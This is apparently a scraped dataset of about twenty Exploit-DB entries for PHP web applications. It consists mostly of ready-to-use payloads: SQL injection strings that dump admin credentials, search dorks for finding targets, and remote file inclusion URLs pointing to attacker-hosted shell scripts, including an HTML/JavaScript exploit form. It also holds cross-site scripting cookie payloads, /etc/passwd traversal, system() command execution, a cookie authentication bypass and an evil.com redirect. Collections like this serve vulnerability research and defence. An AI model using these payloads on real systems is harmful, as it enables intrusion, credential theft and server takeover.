deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13826
Description: Site for Real Estate - Brokers SQL Injection
Type: webapps
Platform: php
Date: 2010-06-11
Author: L0rd CrusAd3r

Exploit:
Vendor url:http://www.mformula.com.br/
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW & AH members.
Spl Greetz to:inj3ct0r.com Team

#####################################################################################################################################################################################################

Description:

* Site for Real Estate - Brokers SQL Injection Vulnerability *

Resources and Advantages
Better cost-benefit of the market
Internal system for total administration of the site
Available site in the languages Portuguese, Español, English and Japanese
Property Management
Management Clients
Support for Sale and Rent
Unlimited Publication of Photos for Property
RSS/XML feed
Optimization in search engines
SiteMap Google, Yahoo and Bing
Supported to any type of personalized option (Color, Size, Type, etc)
Personalization of the layout, colors and texts of the site in agreement
your mark
Reports detailed on the site
Support via HelpDesk integrated in the Administration of your site
#######################################################################################################################################################################################################

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/products.php?imovelfor_id=[sqli]

http://server/products_view.php?id=[sqli]

# 0day n0 m0re #

-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #2833
Description: Site News - 'centre.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-23
Author: DaDIsS

Exploit:
#===================================================================================#
#
# Site News => (centre.php) $page Remote File Inclusion Exploit
#
#===================================================================================#
#
# Softname : Site News
# Url : http://dvmet.free.fr/script/site_news.zip
# Exploit type : Remote File Inclusion.
# Critical: Dangerous.
# Solution Status: Unpatched.
#
#===================================================================================#
#
# By DaDIsS - Member of the Moroccan Hackers Team
#
#===================================================================================#
#
# Exploit Explanation : 
#
#
# The flaw resides in centre.php file that contain this code :
# 
# <?
#
#   if (empty($page))
#    {
#         include("accueil.php");
#    }
#      else
#    {
#        include($page.".php");
#    }
#
# ?>
#
#===================================================================================#
#
# Example : 
#
#
# http://www.victime.com/(path)/centre.php?page=http://attacker
#
#
#================================================================#
#
# Greetz : YouYouCool, Hacker1, and all Moroccan Hackers Team, viva Morocco guyz !!
#
#===================================================================================#
#
# DaDIsS / dadiss@virtuaplanet.net
# Proud to be a Moroccan !
#
#===================================================================================#

# milw0rm.com [2006-11-23]
Exploit-DB #5383
Description: Site Sift Listings - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-06
Author: S@BUN

Exploit:
##########################################
#
# powered by Site Sift scripts SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : powered by Site Sift
#
# DORK 2 : allinurl: "index php go addpage"
#
# DORK 2 : allinurl: "index.php?go=detail id="
#
###########################################
EXPLOiT 1:

index.php?go=detail&id=-99999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/admin/*

EXPLOÄ°T 2:

index.php?go=detail&id=-99999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/from/**/admin/*


ADMiN LOGiN::admin/login.php

note: i hacked sex and porn sites :(( but not changed pass

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-06]
Exploit-DB #13829
Description: Site to Store Automobile - Motorcycle Boat SQL Injection
Type: webapps
Platform: php
Date: 2010-06-11
Author: L0rd CrusAd3r

Exploit:
Vendor url:http://www.mformula.com.br/
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW & AH members.
Spl Greetz to:inj3ct0r.com Team

#####################################################################################################################################################################################################

Description:

* Site to Store Automobile - Motorcycle - Boat SQL Injection Vulnerability
*

Resources and Advantages
Better cost-benefit of the market
Internal system for total administration of the site
Available site in the languages Portuguese, Español, English and Japanese
Property Management
Management Clients
Support for Sale and Rent
Unlimited Publication of Photos for Property
RSS/XML feed
Optimization in search engines
SiteMap Google, Yahoo and Bing
Supported to any type of personalized option (Color, Size, Type, etc)
Personalization of the layout, colors and texts of the site in agreement
your mark
Reports detailed on the site
Support via HelpDesk integrated in the Administration of your site
#######################################################################################################################################################################################################

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/products_view.php?id=[sqli]

# 0day n0 m0re #
-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #3285
Description: Site-Assistant 0990 - 'paths[version]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-08
Author: ajann

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Site-Assistant <= v0990(paths[version])Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: Site-Assistant <= v0990(paths[version])Remote File Include Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.site-assistant.net
//'[$$         : Free
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'include_once($paths[version] . "classes/_menu.php");
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/classes/"
   var adres="menu.php?" //File name
   var acik ="paths[version]=" // Line 18
   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">Site-Assistant <= v0990(paths[version])Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-02-08]
Exploit-DB #36240
Description: Site@School 2.4.10 - '/index.php' Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2011-10-18
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/50195/info

Site@School is prone to multiple SQL-injection and cross-site scripting vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

XSS:

http://www.example.com/school/starnet/index.php?option=stats&suboption=&#039;"</style></script><script>alert(document.cookie)</script> 

http://www.example.com/school/starnet/index.php?option=pagemanager&suboption=newsection&site=&#039;"</style></script><script>alert(document.cookie)</script> 

http://www.example.com/school/starnet/index.php?option=modulemanager&modoption=edit&module_number="</style></script><script>alert(document.cookie)</script> 

http://www.example.com/school/starnet/index.php?option=modulemanager&module=&#039;"</style></script><script>alert(document.cookie)</script>

SQL Injection:

http://www.example.com/school/starnet/index.php?option=modulemanager&modoption=edit&module_number=[sql injection]

http://www.example.com/school/starnet/index.php?option=modulemanager&module=[sql injection]
Exploit-DB #6145
Description: SiteAdmin CMS - 'art' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-27
Author: Cr@zy_King

Exploit:
SiteAdmin CMS Remote Sql Injection Vuln.

Download : http://www.as-admin.com

Cr@zy_King / sqL Lov3r'Z Crew Co.

http://localhost/line2.php?lng=ru&art=16+limit+0+union+select+1,2,concat_ws(0x3a3a,user_login,user_passw),4,5,6,7+from+auth_users+limit+3,10/*&cat=2

Admin Panel : http://localhost/patch/admin/index.php

Thanks : aLL My Friend'Z

                    www.biyosecurity.com

                 ================From Turkey====================

# milw0rm.com [2008-07-27]
Exploit-DB #30683
Description: SiteBar 3.3.8 - '/translator.php?upd/cmd/Action/edit' Arbitrary PHP Code Execution
Type: webapps
Platform: php
Date: 2007-10-18
Author: Robert Buchholz

Exploit:
source: https://www.securityfocus.com/bid/26126/info
 
SiteBar is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
 
These issues include:
 
- A local file-include vulnerability
- Multiple arbitrary-script-code-execution vulnerabilities
- Multiple cross-site scripting vulnerabilities
- A URI-redirection vulnerability.
 
Exploiting these issues can allow attackers to access potentially sensitive information, to execute arbitrary script code in the context of the webserver process, to steal cookie-based authentication credentials, and to redirect users to malicious webpages.
 
SiteBar 3.3.8 and prior versions are vulnerable. 

http://www.example.com/translator.php?lang=zh_CN&cmd=upd&edit=$GET[%22lang%22];system(%22uname%20-a%22);
Exploit-DB #30686
Description: SiteBar 3.3.8 - 'command.php?Modify User Action uid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-18
Author: Robert Buchholz

Exploit:
source: https://www.securityfocus.com/bid/26126/info
    
SiteBar is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
    
These issues include:
    
- A local file-include vulnerability
- Multiple arbitrary-script-code-execution vulnerabilities
- Multiple cross-site scripting vulnerabilities
- A URI-redirection vulnerability.
    
Exploiting these issues can allow attackers to access potentially sensitive information, to execute arbitrary script code in the context of the webserver process, to steal cookie-based authentication credentials, and to redirect users to malicious webpages.
    
SiteBar 3.3.8 and prior versions are vulnerable.

http://www.example.com/command.php?command=Modify%20User&uid=%22%3E%3Cscript%3Ealert(&#039;xss&#039;)%3C/script%3E
Exploit-DB #30685
Description: SiteBar 3.3.8 - 'index.php?target' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-18
Author: Robert Buchholz

Exploit:
source: https://www.securityfocus.com/bid/26126/info
   
SiteBar is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
   
These issues include:
   
- A local file-include vulnerability
- Multiple arbitrary-script-code-execution vulnerabilities
- Multiple cross-site scripting vulnerabilities
- A URI-redirection vulnerability.
   
Exploiting these issues can allow attackers to access potentially sensitive information, to execute arbitrary script code in the context of the webserver process, to steal cookie-based authentication credentials, and to redirect users to malicious webpages.
   
SiteBar 3.3.8 and prior versions are vulnerable.

http://www.example.com/index.php?target=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #30684
Description: SiteBar 3.3.8 - 'integrator.php?lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-18
Author: Robert Buchholz

Exploit:
source: https://www.securityfocus.com/bid/26126/info
  
SiteBar is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
  
These issues include:
  
- A local file-include vulnerability
- Multiple arbitrary-script-code-execution vulnerabilities
- Multiple cross-site scripting vulnerabilities
- A URI-redirection vulnerability.
  
Exploiting these issues can allow attackers to access potentially sensitive information, to execute arbitrary script code in the context of the webserver process, to steal cookie-based authentication credentials, and to redirect users to malicious webpages.
  
SiteBar 3.3.8 and prior versions are vulnerable. 

http://www.example.com/integrator.php?lang="><script>alert(&#039;xss&#039;)</script>
Exploit-DB #30682
Description: SiteBar 3.3.8 - 'translator.php?dir' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2007-10-18
Author: Robert Buchholz

Exploit:
source: https://www.securityfocus.com/bid/26126/info

SiteBar is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.

These issues include:

- A local file-include vulnerability
- Multiple arbitrary-script-code-execution vulnerabilities
- Multiple cross-site scripting vulnerabilities
- A URI-redirection vulnerability.

Exploiting these issues can allow attackers to access potentially sensitive information, to execute arbitrary script code in the context of the webserver process, to steal cookie-based authentication credentials, and to redirect users to malicious webpages.

SiteBar 3.3.8 and prior versions are vulnerable. 

http://www.example.com/translator.php?dir=/etc/passwd%00
Exploit-DB #28141
Description: SiteBuilder-FX - 'top.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-01
Author: MazaGi

Exploit:
source: https://www.securityfocus.com/bid/18756/info

SiteBuilder-FX is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/sitebuilder/admin/top.php?admindir=[evil_script] http://www.example.com/introbuilder/admin/top.php?admindir=[evil_script]
Exploit-DB #5199
Description: SiteBuilderElite 1.2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-02-28
Author: MhZ91

Exploit:
--==+================================================================================+==--
--==+		SiteBuilderElite1.2 Multiple Remote File Inclusion                   +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: SiteBuilderElite1.2 Multiple Remote File Inclusion 
 Vendor: http://sitebuilderelite.com $97
 Bug: Multiple Remote File Inclusion
 Info: "Boost Your Adsense And Affiliate Commissions By Building 10s, 100s or 1,000s of Websites, Each With The Click of a Button!"
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

SiteBuilderElite1.2 present a variable "CarpPath" not definited in this file 

files/carprss.php
files/amazon-bestsellers.php

all are exploitable by the variable "CarpPath" for example

http://www.example.com/files/carprss.php?CarpPath=[Evil_Code]


[*]----------------------------------------------------------

# milw0rm.com [2008-02-28]
Exploit-DB #34930
Description: Sitecore CMS 6.0.0 rev. 090120 - 'default.aspx' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-03
Author: intern0t

Exploit:
source: https://www.securityfocus.com/bid/44405/info

Sitecore CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Sitecore CMS 6.0.0 rev. 090120 is vulnerable; other versions may also be affected.

http://www.example.com/sitecore/login/default.aspx?sc_error=<script>alert(0)</script>
Exploit-DB #24565
Description: SiteCubed MailWorks Professional - Authentication Bypass
Type: webapps
Platform: php
Date: 2004-09-02
Author: Paul Craig

Exploit:
source: https://www.securityfocus.com/bid/11095/info

MailWorks Professional is reported prone to an authentication bypass vulnerability.

The application uses cookies to store variables that determine the status of the authentication process. An attacker browsing the web application using specially crafted cookie data is able to bypass the authentication process to access the site as an administrative user.

This vulnerability allows a remote attacker to gain administrative access to the affected application.

Cookie: auth=1; uId=1
Exploit-DB #2049
Description: SiteDepth CMS 3.0.1 - 'SD_DIR' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-20
Author: Aesthetico

Exploit:
Title: SiteDepth CMS <= 3.0.1 - Remote File Include Vulnerability
------------------------------------------------------------------
Vendor: SiteDepth.com
URL: http://sitedepth.com
------------------------------------------------------------------
Credits:
Discovered by: "Aesthetico"
http://www.majorsecurity.de
------------------------------------------------------------------

Exploitation:
------------------------------------------------------------------
http://victim.com/constants.php?SD_DIR=http://www.yourspace.com/yourscript.php?

# milw0rm.com [2006-07-20]
Exploit-DB #4105
Description: SiteDepth CMS 3.44 - 'ShowImage.php?name' File Disclosure
Type: webapps
Platform: php
Date: 2007-06-25
Author: H4 / XPK

Exploit:
__________________________________________________________________________

[*] Sitedepth CMS 3.44 Local File Include LFI Exploit       
__________________________________________________________________________

[!] Application homepage :   http://www.sitedepth.com/
[!] Author               :   H4 / Team XPK 
[!] Contact              :   H4_XPK@hotmail.com
[!] Bug discovered       :   2006-11-07
[!] Bug published        :   2007-06-25

---------------------------------------------------------------------

Vuln. code: ShowImage.php


<?php

  include 'sitedepth.php';
  $content_type = 'image/jpeg';
  $filename = SD_DIRS_REPOS . '/html/' . $_GET['name'];
  $filename_show = $_GET['name'];
  header ('Content-type: ' . $content_type);
  header ('Content-Disposition: inline;    filename=' . $filename_show);
  readfile ($filename);   <-------------- BAD!   
?>

---------------------------------------------------------------------

[!] Exploitation : http://noobie.com/sitedepth/ShowImage.php?name=../../../../../../../../etc/passwd

---------------------------------------------------------------------

[!] Sometimes it`s time to give instead of taking :)

[!] Greetz to Angeldust & Streets and to rest of community.

# milw0rm.com [2007-06-25]
Exploit-DB #11799
Description: SiteDone Custom Edition 2.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-03-18
Author: d3v1l

Exploit:
[~] SiteDone Custom Edition 2.0 SQL Injection & XSS Vulnerability
[~]
[~] http://www.sitedone.com
[~]
[~]
[~] -----------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 18.03.2010
[~]
[~]
[~] http://security-sh3ll.blogspot.com
[~]
[~] ------------------------------------------------------------------------------------------------
[~] detail.php?articleId=SQL & XSS
[~]
[~]
[~] Ex :-
[~]
[~] http://[site]/site/store/detail.php?articleId=-1 UNION SELECT 1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13,14,15,16,17,18,19--
[~] http://[site]/site/store/detail.php?articleId=">
[~]-------------------------------------------------------------------------------------------------
Exploit-DB #6823
Description: SiteEngine 5.x - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-10-23
Author: xy7

Exploit:
SiteEngine 5.x Multiple Remote Vulnerabilities
Due to incorrect use of intval function, leading to the logic of inspection parameters can be bypassed, resulting in SQL injection vulnerability.

-=0x01=- SQL injection Vulnerability
vul code like this:
if ( intval( $id ) )
{
    require_once( $site_engine_root."lib/rss.php" );
$sql = "SELECT url FROM ".$tablepre."feed WHERE id={$id} AND uploader='{$SESSION['uid']}'";

POC:
http://www.test.com/announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select%201,2,user(),4,5,6,7,8,9,10,11%20/*
This vulnerability exist in board.php tooâ€¦â€¦

-=0x02=- URI Redirection Vulnerability
POC:
http://www.test.com/api.php?action=logout&forward=http://evil.com

-=0x03=- Information Disclosure Vulnerability
POC:
http://www.test.com/misc.php?action=php_info

ForFun~

-=EOF=-

# milw0rm.com [2008-10-23]